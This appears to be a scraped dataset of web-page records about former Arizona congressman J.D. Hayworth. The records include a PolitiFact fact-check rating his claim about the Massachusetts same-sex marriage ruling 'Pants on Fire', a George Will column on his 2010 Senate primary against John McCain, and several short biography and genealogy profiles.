"https://static.politifact.com/CACHE/images/politifact/mugs/768px-Instagram_logo_2016.svg/322c808c00e73c217d17772ddd5a0eb5.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/768px-Instagram_logo_2016.svg/8b142c91ebe468a84a192e6df2b7b994.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/AP_17226541257169/3609eadbe8c3d501d1f980e99b555a16.jpg",
"https://static.politifact.com/CACHE/images/politifact/mugs/AP_17226541257169/7e827ec8db097f82f85c1187cadb5934.jpg",
"https://static.politifact.com/img/meter-pants-fire-th.jpg",
"https://static.politifact.com/img/meter-pants-fire.jpg",
"https://static.politifact.com/img/logo-footer.png"
] |
[] |
[] |
[
"National",
"LGBTQ",
"Marriage"
] | null |
[
"Robert Farley"
] |
2010-03-18T00:00:00
|
J.D. Hayworth, the former congressman running against Sen. John McCain in the Arizona Republican primary, was known for
|
en
|
https://static.politifact.com/images/favicon.ico
|
@politifact
|
https://www.politifact.com/factchecks/2010/mar/18/jd-hayworth/jd-hayworth-claims-massachusetts-ruling-opens-door/
|
J.D. Hayworth, the former congressman running against Sen. John McCain in the Arizona Republican primary, was known for making provocative points as a conservative radio talk show host. He's proving every bit as provocative on the campaign trail.
In an interview on radio station WORL in Orlando on March 14, 2010, Hayworth was talking about same-sex marriage. He's very much against it.
But it was his comments about the prospect of someone walking down the aisle in Massachusetts with a horse that landed Hayworth in the national political news cycle.
Let's get the full quote straight from the horse's mouth:
"You see, the Massachusetts Supreme Court, when it started this move toward same-sex marriage, actually defined marriage -- now get this -- it defined marriage as simply, quote, the establishment of intimacy," Hayworth said. "Now how dangerous is that? I mean, I don't mean to be absurd about it, but I guess I can make the point of absurdity with an absurd point -- I guess that would mean if you really had affection for your horse, I guess you could marry your horse. It's just the wrong way to go, and the only way to protect the institution of marriage is with that federal marriage amendment that I support."
Whoa there. Really?
Hayworth is talking about a landmark 2003 case in which the Massachusetts Supreme Court ruled, 4-3, that gay couples have the right to marry under the state's Constitution.
We took a long look at the 45-page decision in the case, Goodridge vs. the Department of Public Health. Since Hayworth suggested that he was quoting the phrase "the establishment of intimacy," we searched for that first. It's not there.
The word "intimacy" appears five times in the 45-page decision (actually six times, but one is a duplicate), but never in the context of being the sole definition of marriage. Here they are:
* One section talks about how the Supreme Court has affirmed that "the core concept of common human dignity protected by the Fourteenth Amendment to the United States Constitution precludes government intrusion into the deeply personal realms of consensual adult expressions of intimacy and one's choice of an intimate partner."
* "Marriage also bestows enormous private and social advantages on those who choose to marry. Civil marriage is at once a deeply personal commitment to another human being and a highly public celebration of the ideals of mutuality, companionship, intimacy, fidelity, and family."
* "Whether and whom to marry, how to express sexual intimacy, and whether and how to establish a family -- these are among the most basic of every individual's liberty and due process rights."
* "Our laws of civil marriage do not privilege procreative heterosexual intercourse between married people above every other form of adult intimacy and every other means of creating a family."
* "Similarly, the Supreme Court has called for increased due process protection when individual privacy and intimacy are threatened by unnecessary government imposition."
We're not sure how Hayworth gets from any of these to the court defining marriage as simply the establishment of intimacy.
Chief Justice Margaret H. Marshall of the state's Supreme Judicial Court began the ruling with these words:
"Marriage is a vital social institution. The exclusive commitment of two individuals to each other nurtures love and mutual support; it brings stability to our society. For those who choose to marry, and for their children, marriage provides an abundance of legal, financial, and social benefits. In return it imposes weighty legal, financial, and social obligations. The question before us is whether, consistent with the Massachusetts Constitution, the Commonwealth may deny the protections, benefits, and obligations conferred by civil marriage to two individuals of the same sex who wish to marry. We conclude that it may not.
"We are mindful that our decision marks a change in the history of our marriage law," Marshall wrote. "Many people hold deep-seated religious, moral, and ethical convictions that marriage should be limited to the union of one man and one woman, and that homosexual conduct is immoral. Many hold equally strong religious, moral, and ethical convictions that same-sex couples are entitled to be married, and that homosexual persons should be treated no differently than their heterosexual neighbors. Neither view answers the question before us. Our concern is with the Massachusetts Constitution as a charter of governance for every person properly within its reach."
We italicized "person" to make a point.
Justice John Greaney, who concurred, wrote in the ruling, "We construe civil marriage to mean the voluntary union of two persons as spouses, to the exclusion of all others."
Again the word "persons."
Moreover, Greaney noted that the ruling was strictly about whether people of the same sex could marry and "it leaves intact the Legislature's broad discretion to regulate marriage."
Take a look at Massachusetts laws regarding who can marry (which includes age and residency requirements and prohibitions on marrying relatives) and you'll see the word "persons" over and over.
Seems pretty straightforward to us, but we checked with a few legal experts in Massachusetts to get their take.
"The word 'establishment' doesn't occur in the opinion, and the six appearances of the word 'intimacy' aren't free-standing, so that the statement that the SJC 'defined' marriage 'simply' as 'the establishment of intimacy' is false," said Mark Tushnet a law professor at Harvard Law School. "That's not to say that one couldn't extend the underlying principles articulated in Goodridge to other forms of intimacy, including, I suppose, bestiality, but there's nothing in Goodridge itself saying that the principles extend that far. And of course one need not extend the principles if there's some reason not to do so, as there surely would be in the case of bestiality."
Carissa Cunningham, director of public affairs for Gay and Lesbian Advocates and Defenders, which handled the Goodridge case, called Hayworth's comment "silly."
"It's so far off base," Cunningham said. The ruling, she said, "didn't change anything there about the marriage law in Massachusetts," which very clearly spells out that marriage is only for people.
We might have chalked this one up to a one-time misstatement, a bit of hyperbole on the long campaign trail, and simply rated it False. But then Hayworth went on The Rachel Maddow Show on MSNBC on March 15, 2010, and doubled down.
Here's how that went:
Maddow: "Where does the establishment of intimacy thing come from? Where in Massachusetts law or in the Supreme Court ruling does it say the establishment of intimacy?"
Maddow said she had spent the afternoon looking for it, but couldn't find it anywhere.
Hayworth: "As we went back and reviewed that document back when the argument was made, the high court in Massachusetts defined marriage in a rather amorphous fashion, simply as quote, the establishment of intimacy. Now I think we all agree there's much more to marriage than that."
Maddow: "Sir, I'm sorry, it didn't."
Hayworth: "Okay, you and I have a disagreement."
Maddow then cited several uses of the word "intimacy" in the Supreme Court ruling.
Maddow: "The establishment of intimacy as the definition of marriage, it's just not there, let alone the horse thing. What you said about the establishment of intimacy being the definition of marriage in Massachusetts, I don't think it's true, sir."
Hayworth: "Well, that's fine. You and I can have a disagreement about that."
Maddow: "Well, it either is true or it isn't, it’s empirical."
Hayworth: "I appreciate the fact that we have a disagreement on that."
We're with Maddow here. This isn't a matter of legal interpretation. The Massachusetts Supreme Court did not define marriage "simply as quote, the establishment of intimacy." And when Hayworth inserts the word "quote," the expectation is that he's directly quoting the phrase "establishment of intimacy" from the ruling. He's not. The ruling doesn't contain that phrase.
Hayworth prefaced his statement by saying he was making an absurd point. We'll give him that. It's absurd, all right. It's also wrong. We give this one a, quote, Pants on Fire!
|
||||
3358
|
dbpedia
|
0
| 19
|
http://www.mysticgames.com/famouspeople/JDHayworth.htm
|
en
|
Celebrity information
|
[
"http://www.mysticgames.com/images/MysticgamesTitle2.jpg",
"http://www.mysticgames.com/images/new.jpg",
"http://www.mysticgames.com/images/backbut.jpg",
"http://www.mysticgames.com/images/Editbut.jpg",
"http://www.mysticgames.com/famouspeople/pictures/JDHayworth.jpg",
"http://www.mysticgames.com/images/Dog.gif",
"http://www.mysticgames.com/images/mgbigcards/mglovers.jpg",
"http://www.mysticgames.com/images/mgbigcards/mghermit.jpg",
"http://www.mysticgames.com/images/ginabanner.gif"
] |
[] |
[] |
[
"J.D. Hayworth",
"J.D. Hayworth Birthday",
"J.D. Hayworth picture",
"J.D. Hayworth photo",
"J.D. Hayworth profile",
"J.D. Hayworth info",
"J.D. Hayworth movie",
"J.D. Hayworth news",
"J.D. Hayworth pic",
"J.D. Hayworth filmography",
"celebrities",
"actor",
"actress",
"authors",
"celebrity profiles",
"famous people profiles",
"hollywood",
"hollywood actor",
"hollywood actress",
"celebrity",
"celebrity photo",
"baby celebrity name"
] | null |
[] | null |
J.D. Hayworth biographical information including age, birthday, birth place, occupation, achievements, astrological and Chinese sign, personality character and growth tarot cards!
| null |
J.D. Hayworth John D. "J.D." Hayworth Jr. (born July 12, 1958) is an American politician who has been a Republican member of the United States House of Representatives since 1995, representing the 5th District of Arizona (map). He was born in High Point, North Carolina, was educated at North Carolina State University, and was a television and radio journalist before entering the House. Before running for office, he was familiar to Phoenix-area residents as the sports anchor of KSAZ-TV's news report from 1987 until 1994. Before that he worked for WFBC-TV (now WYFF-TV), the NBC station in Greenville, SC from 1981 to 1986 as a sportscaster.
Hayworth had considered a candidacy for governor of Arizona in the 2006 elections, but in March 2005, announced that he preferred to stay in Congress.
Hayworth is generally known as one of the most conservative members of congress. He does not support President Bush's Guest-Worker Amnesty for Mexican immigrants. Despite this, the 5th District, centered mainly in Democratic-leaning Tempe and the northeastern suburbs of Phoenix are quite moderate, although leaning Republican. John Kerry won 45f the vote in Hayworth's district, three percent more than Al Gore won in the 6th district represented by Hayworth before redistricting.
|
|||||||
3358
|
dbpedia
|
2
| 77
|
https://www.sandiegouniontribune.com/2010/04/01/will-shootout-at-arizona-corral/
|
en
|
WILL: Shootout at Arizona corral
|
[
"https://www.sandiegouniontribune.com/wp-content/uploads/2024/06/SDUT_logo_black_horizontal.png",
"https://secure.gravatar.com/avatar/8675bb66f8f10bd8e9437d912afe7010?s=85&d=mm&r=g",
"https://www.sandiegouniontribune.com/wp-content/uploads/2024/08/SUT-L-ICON-Police-Car-02-1.jpg?w=498",
"https://www.sandiegouniontribune.com/wp-content/uploads/2024/08/Phil_Donahue_04689.jpg?w=525",
"https://www.sandiegouniontribune.com/wp-content/uploads/2024/08/SUT-L-hike-kate-sessions-park-2.jpg?w=467",
"https://www.sandiegouniontribune.com/wp-content/uploads/migration/2020/08/20/00000174-0a6a-d3df-af76-3b7ac80e0001.jpg?w=535",
"https://www.sandiegouniontribune.com/wp-content/uploads/2024/06/SDUT_logo_black_horizontal.png",
"https://www.sandiegouniontribune.com/wp-content/themes/wp-mason/static/images/site-logo/socal-logo-sm.png",
"https://www.sandiegouniontribune.com/wp-content/themes/wp-mason/static/images/site-logo/dfm-logo-sm.png"
] |
[] |
[] |
[
""
] | null |
[
"San Diego Union-Tribune",
"Migration Temp"
] |
2010-04-01T00:00:00
|
PHOENIX —- In 1994, when first running for Congress, J.D.Hayworth (who today is 51 and trying to wrest from John McCain, 73,the Arizona Republican Party’s Senate nomination) went jogging inWashington wearing a T-shirt given to him by some Arizonaloggers.Federal solicitude for the supposedly endangered spotted owl wasbedeviling the timber industry, and Hayworth’s shirt read: “If […]
|
en
|
San Diego Union-Tribune
|
https://www.sandiegouniontribune.com/2010/04/01/will-shootout-at-arizona-corral/
|
PHOENIX —- In 1994, when first running for Congress, J.D.Hayworth (who today is 51 and trying to wrest from John McCain, 73,the Arizona Republican Party’s Senate nomination) went jogging inWashington wearing a T-shirt given to him by some Arizonaloggers.
Federal solicitude for the supposedly endangered spotted owl wasbedeviling the timber industry, and Hayworth’s shirt read: “If twoteenagers can procreate in the back seat of a Volkswagen, why doesa spotted owl need 2,000 acres?” Hayworth’s jog intersectedPresident Clinton’s, so Hayworth subsequently told the loggers hehad “run your message past the president.” Hayworth’s middle nameis not Nuance.
Washed into Washington by the 1994 Republican wave, he waswashed out in 2006 by a Democratic wave. Born in North Carolina, heis a burly ex-football player for North Carolina State. Having beena television sportscaster in Phoenix before entering politics,Hayworth bounced from defeat to a talk radio station. There he puthis flair for rhetorical fireworks in the service of his favoritecauses, two of which are stopping illegal immigration and deploringthe insufficiencies of McCain’s conservatism.
Those insufficiencies include, Hayworth says, opposition to theBush tax cuts, and support for bailouts and for what Hayworthcharacterizes as “amnesty” for illegal immigrants.
McCain, who has a flair for umbrage, felt some about anotherHayworth cause —- a possible Hayworth Senate candidacy. SoMcCain, whose pugnacity is part of his charm, for those who arecharmed, went after Hayworth with tactics that reminded otherpeople why they are not charmed. The co-author of theMcCain-Feingold restrictions on political speech asked the FederalElection Commission to silence Hayworth.
Although Hayworth was not yet a candidate, McCain argued that hewas receiving from the station’s owner an illegal “corporatein-kind contribution” of “as much as” $540,000 a week, a figureconcocted by pricing Hayworth’s 15 hours per week at the rateadvertisers would pay for 1,800, 30-second spots. Hayworth sparedhis station the litigation costs by becoming a candidate.
Hayworth and McCain, who is seeking a fifth term, will gnaw oneach other until the August primary, the rules of which are stillunclear.
Usually, primary turnouts are low, but this shootout will beunusually enticing. Republican primaries have been open tounaffiliated voters, but in January, when Hayworth’s candidacy wasstill embryonic, the state party opted for a closed primary, on thesound principle that party members —- there are 1.12 millionregistered —- should pick those who represent the party. The U.S.Supreme Court has held that the First Amendment guarantee offreedom of association, which “plainly presupposes a freedom not toassociate,” broadly protects parties’ rights to define theiridentities by controlling their nominating processes.
McCain understandably wants the primary open to non-Republicans:A closed primary would favor Hayworth, many of whose supporters arethe sort of high-octane conservatives who will vote in an ArizonaAugust. Two of conservatism’s current pinups —- Sarah Palin, onwhom McCain conferred celebrity, and Massachusetts Sen. Scott Brown—- have campaigned here for McCain. On the other hand, DickArmey, who is as close as the tea party movement has to a leader,denies reports that he has endorsed McCain.
Arizona Rep. Jeff Flake, perhaps Congress’ foremost foe ofearmarks, faults Hayworth as insufficiently frugal. Hayworthendorsed and McCain opposed George W. Bush’s unfunded $395 billionprescription drug entitlement.
Hayworth is supported by Joe Arpaio, Maricopa County’sshowboating sheriff, a scourge of illegal immigrants.
Some Arizona and national Republicans worry that nominatingHayworth would exacerbate the party’s problems with Latinos, thenation’s largest and fastest-growing minority. Barack Obama won 75percent of the immigrant Latino vote in 2008. Hayworth counters,”Beware the myth of the monolith.” He says “some of my mostpassionate support” comes from Latinos offended by illegalimmigrants.
Voters incandescent about illegal immigration might be numerousenough to decide a primary. Some seasoned Arizona Republicans say,however, that such immigration has slowed as America’s economy hasslowed. And they say the issue has lost some saliency, andArizona’s economy has suffered, as some Latinos have moved to morehospitable states. Furthermore, Hayworth may not understandArizona’s complex relationship to its centuries-old Latinodimension.
Democrats, having assumed that McCain will be nominated, havenot groomed a top-tier opponent for him. They probably will findone if they think Hayworth can be nominated.
As for the McCain-Hayworth contest, a wise Arizona Republicanofficeholder who is too prudent to abandon anonymity says eachcombustible candidate “has it in his power to lose.”
GEORGE F. WILL writes for the Washington Post. Comment online atnctimes.com or contact him at georgewill@washpost.com .
|
|||||
3358
|
dbpedia
|
0
| 4
|
https://www.nndb.com/people/071/000038954/
|
en
|
J. D. Hayworth
|
[
"https://www.nndb.com/title.gif",
"https://www.nndb.com/red-profile-2.gif",
"https://www.nndb.com/people/071/000038954/hayworth-fuzzy.jpg",
"https://www.nndb.com/man.gif"
] |
[] |
[] |
[
""
] | null |
[] | null |
/silly-nndb-icon.png
| null |
AKA John David Hayworth, Jr.
Born: 12-Jul-1958
Birthplace: High Point, NC
Gender: Male
Religion: Baptist
Race or Ethnicity: White
Sexual orientation: Straight
Occupation: Politician
Party Affiliation: Republican
Nationality: United States
Executive summary: Congressman from Arizona, 1995-2007
Father: John D. Hayworth, Sr.
Wife: Mary
High School: High Point Central High School, High Point, NC (1976)
University: BA, North Carolina State University (1980)
US Congressman, Arizona 5th (3-Jan-1995 to 4-Jan-2007)
4-H Club
Foundation for the Defense of Democracies
JD Hayworth for Congress Candidate
Leadership Institute Bi-Partisan Congressional Advisory Board
Republican Liberty Caucus Board of Advisers (former)
Thousands of South Dakotans for Bill Janklow for Congress
Eagle Scout
Birther Movement
New!
NNDB MAPPER Create a map starting with J. D. Hayworth
Requires Flash 7+ and Javascript.
Do you know something we don't?
Submit a correction or make a comment about this profile
|
|||||||
3358
|
dbpedia
|
3
| 17
|
https://stacker.com/north-carolina/famous-actors-north-carolina
|
en
|
Famous actors from North Carolina
|
[
"https://stacker.com/themes/custom/stacker/logo.svg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/08residentialQZIC_997_4737.jpg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/croppedshutterstock1702515220VHLGjpg_249.jpg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/08residentialQZIC_997_588.jpg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/05county3105G5KK.jpg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/00cc105IQI2_2340.jpg",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/Untitleddesign36K7BH.png",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/mentalhealthcareappointment6L7W_56.png",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/croppedshutterstock5373533951OKYjpg_2049.JPEG",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/NatlPark1VORP.png",
"https://static.stacker.com/s3fs-public/styles/horizontal_card/s3/croppedshutterstock1175057332ORYUjpg_1_0_0.JPEG",
"https://static.stacker.com/s3fs-public/styles/sar_screen_maximum_large/s3/132TXV0_37.png",
"https://static.stacker.com/s3fs-public/styles/sar_screen_maximum_large/s3/2017-12/shutterstock_160851449.jpg",
"https://static.stacker.com/s3fs-public/styles/sar_screen_maximum_large/s3/2024-02/historic-photos-american-military-history.png",
"https://static.stacker.com/s3fs-public/styles/sar_screen_maximum_large/s3/2024-02/cool-hand-luke-paul-newman.jpg",
"https://static.stacker.com/s3fs-public/styles/sar_screen_maximum_large/s3/2023-06/sunset-blvd-black-and-white.jpg",
"https://stacker.com/themes/custom/stacker/logo.svg"
] |
[] |
[] |
[
""
] | null |
[
"Stacker"
] |
2022-07-21T10:06:42-04:00
|
Stacker compiled a list of famous actors born in North Carolina from IMDb.
|
en
|
/themes/custom/stacker/favicon.ico
|
Stacker
|
https://stacker.com/north-carolina/famous-actors-north-carolina
|
Read First
Stacker believes in making the world’s data more accessible through storytelling. To that end, most Stacker stories are freely available to republish under a Creative Commons License, and we encourage you to share our stories with your audience. There are a few guidelines and restrictions, which you can review below.
To publish, simply grab the HTML code or text to the left and paste into your CMS. In doing so, you’re agreeing to the below guidelines.
Attribution: Make sure to always cite Stacker as the original source of the story and retain all hyperlinks within the republished text - whether to Stacker, our data sources, or other citations. Always incorporate a link to the original version of the article on Stacker’s website. Additionally, always indicate that the article has been re-published pursuant to a CC BY-NC 4.0 License and include a hyperlink to the following URL: https://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1. To avoid publishing duplicate content, we also ask you to point the canonical tag back to the original article noted in the code. Click here to learn more about canonical tags, and if you have any technical questions, just let us know.
Edits and Derivative Works: You’re welcome to run our story verbatim on your website. But you can also make copy edits, retitle the article, extract specific paragraphs, or put the story into your own voice. Please just attribute Stacker, link back, and note the types of edits that were made.
Non-Commercial Use: Stacker stories may be used for editorial purposes only. As long as they are published in an editorial context, you can run ads against them. However, you may not resell our articles, sublicense, charge for access to, or resyndicate them on any aggregation platforms, including but not limited to Apple News, NewsBreak, MSN, or Google News.
Visuals: Visuals, including photography and graphics, that accompany our stories are not included in this license, and rights to all image content must be separately secured from Stacker or the applicable rights holder. If you’re interested in becoming a Stacker Distribution Partner and receiving rights to use the images that accompany a story, email us at [email protected].
Story Counter: We include a Javascript snippet in the code so that we can keep track of where our stories are published. This is critical to keeping Stacker’s journalism freely available. We only track the URL and number of page views - no user information is collected at all.
Stacker distribution partners receive a license to all Stacker stories, as well as image rights, data visualizations, forward planning tools, and more. If your organization is interested in becoming a Stacker distribution partner, email us at [email protected].
Stacker offers its articles as-is and as-available, and makes no representations or warranties of any kind. In no event will Stacker be liable to you for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Creative Commons License or your use of Stacker’s articles.
|
||||
3358
|
dbpedia
|
2
| 6
|
https://en.geneastar.org/genealogy/hayworthj/j-d-hayworth
|
en
|
Family tree of J. D. HAYWORTH
|
[
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/hayworthj.jpg",
"https://geneacdn.net/public/img/flags/16px/USA.png",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_avatar_male.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_avatar_female.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_avatar_male.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_avatar_female.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/hayworthj.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/mccauleyros.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/giulianirud.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/kissingerhe.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/korbelovama.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/richardbrucecheneyr.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/celebrites/200px/rodhamh.jpg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_loupe.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_voirplus.svg",
"https://geneacdn.net/bundles/geneanetgeneastar/images/icon_star_voirplus_hover.svg"
] |
[] |
[] |
[
""
] | null |
[] | null |
Hayworth was born in High Point, North Carolina. His grandfather, Ray Hayworth, was a Major League Baseball catcher from 1926 to 1945. Hayworth received a bachelor's degree in speech communications and political science from North Carolina State University in Raleigh in 1980, where he was student body president during his senior year.
He was a sportscaster for WFBC-TV (now WYFF-TV), the NBC station in Greenville, South Carolina, from 1981 to 1986, and WLWT-TV in Cincinnati, Ohio from 1986 to 1987. From 1987 to 1994, he was the sports anchor on the news reports of KTSP-TV (later KSAZ-TV), which was then the CBS affiliate in Phoenix.
Hayworth married in 1989. He and his wife Mary have three children.
|
en
|
https://geneacdn.net/bundles/geneanetgeneastar/images/favicon.ico
|
Geneanet
|
https://en.geneastar.org/genealogy/hayworthj/j-d-hayworth
|
American politician
Born John David HAYWORTH
American politician
Born on July 12, 1958 in High Point, North Carolina, USA , United States (66 years)
This form allows you to report an error or to submit additional information about this family tree: J. D. HAYWORTH (1958)
|
||||
3358
|
dbpedia
|
1
| 59
|
https://in.pinterest.com/pin/j-d-hayworth--792633603164682977/
|
en
|
[] |
[] |
[] |
[
""
] | null |
[] |
2020-12-18T12:13:08+00:00
|
Who is J. D. Hayworth? More about J. D. Hayworth Bio, Net Worth, Age, Relationship, Height, and Career. [Updated 2024 June]
|
en
|
Pinterest
|
https://www.pinterest.com/pin/biography--792633603164682977/
|